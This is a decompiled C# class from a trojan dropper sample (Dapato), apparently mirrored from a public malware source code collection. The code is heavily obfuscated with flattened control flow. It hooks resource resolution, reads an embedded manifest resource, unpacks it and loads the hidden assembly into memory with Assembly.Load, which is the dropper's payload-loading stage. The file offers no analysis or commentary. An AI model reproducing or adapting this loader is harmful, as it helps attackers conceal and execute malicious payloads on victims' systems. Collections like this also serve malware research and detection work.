mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
791 lines
26 KiB
C#
791 lines
26 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: b
|
|
// Assembly: Fugi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: BEDD3B0B-7024-4DCA-82E7-4DC806657EA8
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.adjp-c7222843a23fc031926828311c4204ba181271a1dde91017bc4695dc95b5fc46.exe
|
|
|
|
using System;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Threading;
|
|
|
|
internal sealed class b
|
|
{
|
|
private static Assembly a;
|
|
private static object b = new object();
|
|
private static int c;
|
|
private static string[] d;
|
|
|
|
public static void a()
|
|
{
|
|
if ((((global::b.c == 0 ? 1 : 0) != 0 ? 0 : 1) == 0 ? 0 : 1) != 0)
|
|
return;
|
|
try
|
|
{
|
|
Monitor.Enter(global::b.b);
|
|
if (((global::b.c == 0 ? 1 : 0) != 0 ? 0 : 1) != 0)
|
|
return;
|
|
label_34:
|
|
int num1 = -226195680;
|
|
int num2 = -561798657;
|
|
label_3:
|
|
while (true)
|
|
{
|
|
num2 ^= 555203725;
|
|
label_26:
|
|
int num3 = 968784119;
|
|
int num4 = -376123481;
|
|
label_5:
|
|
while (true)
|
|
{
|
|
num4 ^= 370221929;
|
|
label_22:
|
|
int num5 = 169643759;
|
|
int num6 = 618844569;
|
|
label_7:
|
|
while (true)
|
|
{
|
|
num6 ^= 619897780;
|
|
label_12:
|
|
int num7 = -1011984020;
|
|
int num8 = 574885163;
|
|
while (true)
|
|
{
|
|
switch (num8 ^ 575736408)
|
|
{
|
|
case 1378160:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle1 = __methodref (global::b.get_a);
|
|
num8 = 574885160;
|
|
continue;
|
|
case 1378161:
|
|
goto label_12;
|
|
case 1378162:
|
|
switch (num7 + 5847024)
|
|
{
|
|
case 0:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle2 = __methodref (global::b.get_a);
|
|
num7 = -1011984018;
|
|
goto label_8;
|
|
case 1:
|
|
label_16:
|
|
num6 = 618844575;
|
|
num7 = -1011984019;
|
|
goto label_8;
|
|
case 2:
|
|
switch (num6)
|
|
{
|
|
case 1061418:
|
|
goto label_19;
|
|
case 1061419:
|
|
switch (num5)
|
|
{
|
|
case 2909411:
|
|
label_23:
|
|
num4 = -376123484;
|
|
num5 = 169643758;
|
|
goto label_6;
|
|
case 2909412:
|
|
switch (num4 + 8000308)
|
|
{
|
|
case 0:
|
|
goto label_26;
|
|
case 1:
|
|
switch (num3)
|
|
{
|
|
case 1949493:
|
|
label_29:
|
|
num2 = -561798659;
|
|
num3 = 968784118;
|
|
goto label_4;
|
|
case 1949494:
|
|
switch (num2 + 7070352)
|
|
{
|
|
case 0:
|
|
switch (num1 + 5290868)
|
|
{
|
|
case 0:
|
|
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(global::b.a);
|
|
num1 = -226195679;
|
|
goto label_2;
|
|
case 1:
|
|
goto label_37;
|
|
default:
|
|
goto label_33;
|
|
}
|
|
case 1:
|
|
goto label_34;
|
|
case 2:
|
|
label_2:
|
|
num1 ^= 220971948;
|
|
goto label_29;
|
|
default:
|
|
num3 = 968784116;
|
|
goto label_4;
|
|
}
|
|
case 1949495:
|
|
goto label_3;
|
|
default:
|
|
goto label_28;
|
|
}
|
|
case 2:
|
|
label_4:
|
|
num3 ^= 967034817;
|
|
goto label_23;
|
|
default:
|
|
num5 = 169643752;
|
|
goto label_6;
|
|
}
|
|
case 2909413:
|
|
goto label_5;
|
|
default:
|
|
goto label_21;
|
|
}
|
|
case 1061420:
|
|
goto label_22;
|
|
case 1061421:
|
|
label_6:
|
|
num5 ^= 170977803;
|
|
goto label_16;
|
|
default:
|
|
num7 = -1011984017;
|
|
goto label_8;
|
|
}
|
|
case 3:
|
|
goto label_7;
|
|
default:
|
|
num8 = 574885161;
|
|
continue;
|
|
}
|
|
case 1378163:
|
|
label_8:
|
|
num7 ^= 1007194494;
|
|
break;
|
|
}
|
|
num8 = 574885162;
|
|
}
|
|
label_19:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle = __methodref (global::b.a);
|
|
num6 = 618844574;
|
|
continue;
|
|
label_21:
|
|
num6 = 618844568;
|
|
}
|
|
label_28:
|
|
num4 = -376123483;
|
|
}
|
|
label_33:
|
|
num2 = -561798660;
|
|
}
|
|
label_37:
|
|
global::b.c = 1;
|
|
}
|
|
finally
|
|
{
|
|
Monitor.Exit(global::b.b);
|
|
}
|
|
}
|
|
|
|
public static string a => "300f404b02f9fcce";
|
|
|
|
public static Assembly a(object a1, ResolveEventArgs a2)
|
|
{
|
|
if (((global::b.d == null ? 0 : 1) == 0 ? 0 : 1) == 0)
|
|
{
|
|
try
|
|
{
|
|
Monitor.Enter(global::b.b);
|
|
if (((global::b.d == null ? 0 : 1) == 0 ? 0 : 1) == 0)
|
|
{
|
|
label_30:
|
|
int num1 = 1319863694;
|
|
int num2 = -1247360233;
|
|
label_3:
|
|
Stream manifestResourceStream;
|
|
while (true)
|
|
{
|
|
num2 ^= 1242423639;
|
|
label_7:
|
|
int num3 = 1536961512;
|
|
int num4 = -942752411;
|
|
while (true)
|
|
{
|
|
do
|
|
{
|
|
switch ((num4 ^ 946906395) + 4319108)
|
|
{
|
|
case 0:
|
|
goto label_7;
|
|
case 1:
|
|
switch (num3)
|
|
{
|
|
case 2222797:
|
|
label_10:
|
|
num2 = -1247360152;
|
|
num3 = 1536961513;
|
|
goto label_4;
|
|
case 2222798:
|
|
switch (num2 + 5559746)
|
|
{
|
|
case 0:
|
|
goto label_30;
|
|
case 1:
|
|
switch (num1)
|
|
{
|
|
case 3571212:
|
|
manifestResourceStream = typeof (global::b).Assembly.GetManifestResourceStream(global::b.a);
|
|
num1 = 1319863695;
|
|
goto label_2;
|
|
case 3571213:
|
|
if (manifestResourceStream != null)
|
|
{
|
|
num1 = 1319863692;
|
|
goto label_2;
|
|
}
|
|
else
|
|
goto label_37;
|
|
case 3571214:
|
|
goto label_36;
|
|
default:
|
|
goto label_32;
|
|
}
|
|
case 2:
|
|
label_2:
|
|
num1 ^= 1318976386;
|
|
goto label_10;
|
|
default:
|
|
label_27:
|
|
int num5 = 357788384;
|
|
int num6 = -755162327;
|
|
label_13:
|
|
while (true)
|
|
{
|
|
num6 ^= 759887395;
|
|
label_17:
|
|
int num7 = -656391765;
|
|
int num8 = 826200064;
|
|
while (true)
|
|
{
|
|
switch (num8 ^ 824727794)
|
|
{
|
|
case 1476847:
|
|
goto label_17;
|
|
case 1476848:
|
|
switch (num7 + 5426554)
|
|
{
|
|
case 0:
|
|
switch (num6 + 4729593)
|
|
{
|
|
case 0:
|
|
switch (num5)
|
|
{
|
|
case 1693911:
|
|
num3 = 1536961515;
|
|
num5 = 357788399;
|
|
goto label_12;
|
|
case 1693912:
|
|
goto label_4;
|
|
default:
|
|
goto label_26;
|
|
}
|
|
case 1:
|
|
goto label_27;
|
|
case 2:
|
|
goto label_28;
|
|
case 3:
|
|
label_12:
|
|
num5 ^= 357216823;
|
|
goto label_23;
|
|
default:
|
|
num7 = -656391766;
|
|
goto label_14;
|
|
}
|
|
case 1:
|
|
label_23:
|
|
num6 = -755162332;
|
|
num7 = -656391772;
|
|
goto label_14;
|
|
case 2:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle1 = __methodref (global::b.a);
|
|
num7 = -656391771;
|
|
goto label_14;
|
|
case 3:
|
|
goto label_13;
|
|
default:
|
|
num8 = 826200093;
|
|
continue;
|
|
}
|
|
case 1476849:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle2 = __methodref (global::b.a);
|
|
num8 = 826200067;
|
|
continue;
|
|
case 1476850:
|
|
label_14:
|
|
num7 ^= 659387181;
|
|
break;
|
|
}
|
|
num8 = 826200066;
|
|
}
|
|
label_26:
|
|
num6 = -755162325;
|
|
continue;
|
|
label_28:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle = __methodref (global::b.a);
|
|
num6 = -755162326;
|
|
}
|
|
}
|
|
case 2222799:
|
|
goto label_3;
|
|
default:
|
|
goto label_9;
|
|
}
|
|
case 2:
|
|
label_4:
|
|
num3 ^= 1539162406;
|
|
break;
|
|
}
|
|
num4 = -942752410;
|
|
}
|
|
while ((num4 == 0 ? 0 : 1) != 0);
|
|
goto label_7;
|
|
label_9:
|
|
num4 = -942752409;
|
|
}
|
|
label_32:
|
|
num2 = -1247360151;
|
|
}
|
|
label_36:
|
|
int num9 = 0;
|
|
goto label_38;
|
|
label_37:
|
|
num9 = 1;
|
|
label_38:
|
|
if (num9 == 0)
|
|
global::b.a = global::b.a(manifestResourceStream);
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
Monitor.Exit(global::b.b);
|
|
}
|
|
}
|
|
return (!global::b.a(a2.Name) ? 1 : 0) == 0 ? global::b.a : (Assembly) null;
|
|
}
|
|
|
|
private static Assembly a(Stream a)
|
|
{
|
|
MemoryStream input = l.a(a);
|
|
BinaryReader binaryReader = new BinaryReader((Stream) input);
|
|
label_2:
|
|
int num1 = -976949257;
|
|
if ((num1 == 0 ? 0 : 1) == 0)
|
|
goto label_3;
|
|
label_1:
|
|
int index;
|
|
while (true)
|
|
{
|
|
switch ((num1 ^ 979141528) + 6787986)
|
|
{
|
|
case 0:
|
|
goto label_3;
|
|
case 1:
|
|
goto label_4;
|
|
case 2:
|
|
index = 0;
|
|
num1 = -976949271;
|
|
continue;
|
|
case 3:
|
|
if (index != 0)
|
|
{
|
|
num1 = -976949270;
|
|
continue;
|
|
}
|
|
goto label_9;
|
|
case 4:
|
|
goto label_8;
|
|
default:
|
|
goto label_2;
|
|
}
|
|
}
|
|
label_8:
|
|
int num2 = 0;
|
|
goto label_10;
|
|
label_9:
|
|
num2 = 1;
|
|
label_10:
|
|
if (num2 != 0)
|
|
goto label_12;
|
|
label_11:
|
|
string[] strArray;
|
|
strArray[index] = binaryReader.ReadString();
|
|
++index;
|
|
label_12:
|
|
int length;
|
|
if ((index >= length ? 0 : 1) == 0)
|
|
{
|
|
global::b.d = strArray;
|
|
label_40:
|
|
int num3 = -143477510;
|
|
int num4 = -1430655755;
|
|
label_15:
|
|
byte[] numArray;
|
|
while (true)
|
|
{
|
|
num4 ^= 1426872453;
|
|
label_34:
|
|
int num5 = -80790779;
|
|
int num6 = -1051659499;
|
|
label_17:
|
|
while (true)
|
|
{
|
|
num6 ^= 1053901982;
|
|
label_28:
|
|
int num7 = -1233384020;
|
|
int num8 = -1443278188;
|
|
label_19:
|
|
while (true)
|
|
{
|
|
num8 ^= 1450976975;
|
|
label_21:
|
|
int num9 = -1122975311;
|
|
while (true)
|
|
{
|
|
switch ((num9 ^ 1116959030) + 8146810)
|
|
{
|
|
case 0:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle1 = __methodref (global::b.a);
|
|
num9 = -1122975312;
|
|
continue;
|
|
case 1:
|
|
switch (num8 + 8031144)
|
|
{
|
|
case 0:
|
|
switch (num7 + 4983814)
|
|
{
|
|
case 0:
|
|
label_30:
|
|
num6 = -1051659500;
|
|
num7 = -1233384019;
|
|
goto label_18;
|
|
case 1:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle2 = __methodref (global::b.a);
|
|
num7 = -1233384021;
|
|
goto label_18;
|
|
case 2:
|
|
switch (num6 + 8276087)
|
|
{
|
|
case 0:
|
|
goto label_34;
|
|
case 1:
|
|
switch (num5 + 7895701)
|
|
{
|
|
case 0:
|
|
label_37:
|
|
num4 = -1430655766;
|
|
num5 = -80790780;
|
|
goto label_16;
|
|
case 1:
|
|
switch (num4 + 4869010)
|
|
{
|
|
case 0:
|
|
goto label_40;
|
|
case 1:
|
|
int count;
|
|
switch (num3 + 4299732)
|
|
{
|
|
case 0:
|
|
numArray = new byte[count];
|
|
num3 = -143477511;
|
|
goto label_14;
|
|
case 1:
|
|
binaryReader.Read(numArray, 0, count);
|
|
num3 = -143477509;
|
|
goto label_14;
|
|
case 2:
|
|
count = (int) (input.Length - input.Position);
|
|
num3 = -143477512;
|
|
goto label_14;
|
|
case 3:
|
|
goto label_46;
|
|
default:
|
|
goto label_42;
|
|
}
|
|
case 2:
|
|
label_14:
|
|
num3 ^= 147640532;
|
|
goto label_37;
|
|
default:
|
|
num5 = -80790782;
|
|
goto label_16;
|
|
}
|
|
case 2:
|
|
goto label_15;
|
|
default:
|
|
goto label_36;
|
|
}
|
|
case 2:
|
|
label_16:
|
|
num5 ^= 78167657;
|
|
goto label_30;
|
|
default:
|
|
num7 = -1233384022;
|
|
goto label_18;
|
|
}
|
|
case 3:
|
|
goto label_17;
|
|
default:
|
|
goto label_27;
|
|
}
|
|
case 1:
|
|
goto label_28;
|
|
case 2:
|
|
goto label_29;
|
|
case 3:
|
|
label_18:
|
|
num7 ^= 1238367824;
|
|
goto label_25;
|
|
default:
|
|
num9 = -1122975298;
|
|
continue;
|
|
}
|
|
case 2:
|
|
label_25:
|
|
num8 = -1443278185;
|
|
num9 = -1122975297;
|
|
continue;
|
|
case 3:
|
|
goto label_19;
|
|
default:
|
|
goto label_21;
|
|
}
|
|
}
|
|
label_27:
|
|
num8 = -1443278186;
|
|
continue;
|
|
label_29:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle3 = __methodref (global::b.a);
|
|
num8 = -1443278187;
|
|
}
|
|
label_36:
|
|
num6 = -1051659497;
|
|
}
|
|
label_42:
|
|
num4 = -1430655765;
|
|
}
|
|
label_46:
|
|
return Assembly.Load(numArray);
|
|
}
|
|
goto label_11;
|
|
label_3:
|
|
strArray = new string[length];
|
|
num1 = -976949272;
|
|
if ((num1 == 0 ? 0 : 1) != 0)
|
|
goto label_1;
|
|
label_4:
|
|
length = binaryReader.ReadInt32();
|
|
num1 = -976949258;
|
|
goto label_1;
|
|
}
|
|
|
|
private static bool a(string a)
|
|
{
|
|
if (((global::b.d == null ? 1 : 0) == 0 ? 0 : 1) == 0)
|
|
{
|
|
label_6:
|
|
int num1 = 1477415917;
|
|
int num2 = 601725783;
|
|
int index;
|
|
string[] d;
|
|
while (true)
|
|
{
|
|
switch (num2 ^ 602759493)
|
|
{
|
|
case 3209744:
|
|
switch (num1)
|
|
{
|
|
case 3757452:
|
|
if (index != 0)
|
|
{
|
|
num1 = 1477415916;
|
|
goto label_1;
|
|
}
|
|
else
|
|
goto label_12;
|
|
case 3757453:
|
|
index = 0;
|
|
num1 = 1477415919;
|
|
goto label_1;
|
|
case 3757454:
|
|
d = global::b.d;
|
|
num1 = 1477415918;
|
|
goto label_1;
|
|
case 3757455:
|
|
goto label_11;
|
|
default:
|
|
num2 = 601725780;
|
|
continue;
|
|
}
|
|
case 3209745:
|
|
goto label_6;
|
|
case 3209746:
|
|
label_1:
|
|
num1 ^= 1479984739;
|
|
goto default;
|
|
default:
|
|
num2 = 601725781;
|
|
if ((num2 == 0 ? 0 : 1) != 0)
|
|
continue;
|
|
goto case 3209744;
|
|
}
|
|
}
|
|
label_11:
|
|
int num3 = 0;
|
|
goto label_13;
|
|
label_12:
|
|
num3 = 1;
|
|
label_13:
|
|
if (num3 != 0)
|
|
goto label_42;
|
|
label_14:
|
|
string str = d[index];
|
|
if ((!a.Equals(str) ? 1 : 0) == 0)
|
|
{
|
|
label_37:
|
|
int num4 = -311275153;
|
|
int num5 = 878119074;
|
|
label_16:
|
|
bool flag;
|
|
while (true)
|
|
{
|
|
num5 ^= 880632524;
|
|
label_31:
|
|
int num6 = -433645422;
|
|
int num7 = -1229873183;
|
|
label_18:
|
|
while (true)
|
|
{
|
|
num7 ^= 1226414648;
|
|
label_24:
|
|
int num8 = 1261558068;
|
|
int num9 = 603637658;
|
|
while (true)
|
|
{
|
|
switch (num9 ^ 600591507)
|
|
{
|
|
case 3574534:
|
|
switch (num8)
|
|
{
|
|
case 2014848:
|
|
label_26:
|
|
num7 = -1229873184;
|
|
num8 = 1261558069;
|
|
goto label_19;
|
|
case 2014849:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle1 = __methodref (global::b.a);
|
|
num8 = 1261558071;
|
|
goto label_19;
|
|
case 2014850:
|
|
switch (num7 + 5765674)
|
|
{
|
|
case 0:
|
|
goto label_30;
|
|
case 1:
|
|
goto label_31;
|
|
case 2:
|
|
switch (num6 + 7008665)
|
|
{
|
|
case 0:
|
|
label_34:
|
|
num5 = 878119073;
|
|
num6 = -433645421;
|
|
goto label_17;
|
|
case 1:
|
|
switch (num5)
|
|
{
|
|
case 2779756:
|
|
goto label_37;
|
|
case 2779757:
|
|
switch (num4 + 4671099)
|
|
{
|
|
case 0:
|
|
flag = true;
|
|
num4 = -311275156;
|
|
goto label_15;
|
|
case 1:
|
|
goto label_44;
|
|
default:
|
|
goto label_39;
|
|
}
|
|
case 2779758:
|
|
label_15:
|
|
num4 ^= 315287786;
|
|
goto label_34;
|
|
default:
|
|
num6 = -433645411;
|
|
goto label_17;
|
|
}
|
|
case 2:
|
|
goto label_16;
|
|
default:
|
|
goto label_33;
|
|
}
|
|
case 3:
|
|
label_17:
|
|
num6 ^= 431101690;
|
|
goto label_26;
|
|
default:
|
|
num8 = 1261558070;
|
|
goto label_19;
|
|
}
|
|
case 2014851:
|
|
goto label_18;
|
|
default:
|
|
num9 = 603637652;
|
|
continue;
|
|
}
|
|
case 3574535:
|
|
goto label_24;
|
|
case 3574536:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle2 = __methodref (global::b.get_a);
|
|
num9 = 603637659;
|
|
continue;
|
|
case 3574537:
|
|
label_19:
|
|
num8 ^= 1261397942;
|
|
break;
|
|
}
|
|
num9 = 603637653;
|
|
}
|
|
label_30:
|
|
// ISSUE: method reference
|
|
RuntimeMethodHandle runtimeMethodHandle = __methodref (global::b.a);
|
|
num7 = -1229873170;
|
|
continue;
|
|
label_33:
|
|
num7 = -1229873169;
|
|
}
|
|
label_39:
|
|
num5 = 878119072;
|
|
}
|
|
label_44:
|
|
return flag;
|
|
}
|
|
++index;
|
|
label_42:
|
|
if ((index >= d.Length ? 0 : 1) != 0)
|
|
goto label_14;
|
|
}
|
|
return false;
|
|
}
|
|
}
|